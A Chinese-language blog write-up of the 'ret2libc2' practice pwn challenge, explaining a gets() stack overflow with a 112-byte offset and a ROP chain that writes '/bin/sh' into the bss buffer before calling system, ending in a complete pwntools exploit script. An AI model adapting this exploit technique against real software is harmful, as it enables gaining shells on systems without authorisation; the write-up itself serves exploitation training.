ret2libc2

先checksec,还是开了NX,就不能用shellcode了。

看ida

gets存在栈溢出漏洞,cyclic计算一下地址偏移量

偏移地址仍然是112,那么填充112个垃圾数据就能劫持返回地址。

在ida里看到有system的plt地址,但是没有找到/bin/sh,所以要手动把/bin/sh填充进去,然后有了binsh的地址,就能作为system的参数,这样就变成了ret2libc1。

然后是写ROPgadgets再次调用gets,把/bin/sh输入bss段里,这里bss段刚好有一个buf2可以放。

接下来是找到gets的地址。

就可以写exp啦

这里有两种方法,参见https://www.jianshu.com/p/c4780335b842

第二种用到栈堆平衡,就要先把gets的参数pop出来,pop到哪都无所谓,所以就ROP找一找pop的指令

随便用一个短的pop ebx

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p = process('./ret2libc2')
context.log_level = 'debug'
gdb.attach(p)

system_plt = 0x08048490
gets_plt = 0x08048460
buf2 = 0x0804a080
pop_ebx = 0x0804843d
p.recvuntil('What do you think ?')
# payload = 'a' * 112 + p32(gets_plt) +p32(system_plt) +p32(buf2)+ p32(buf2)
payload = 'a' * 112 + p32(gets_plt) + p32(pop_ebx) + p32(buf2) + p32(system_plt) +'b' * 4 + p32(buf2)
p.send(payload)
p.sendline('/bin/sh')

p.interactive()

ret2libc2
http://example.com/2021/03/14/ret2libc2/
作者
Magnesium
发布于
2021年3月14日
许可协议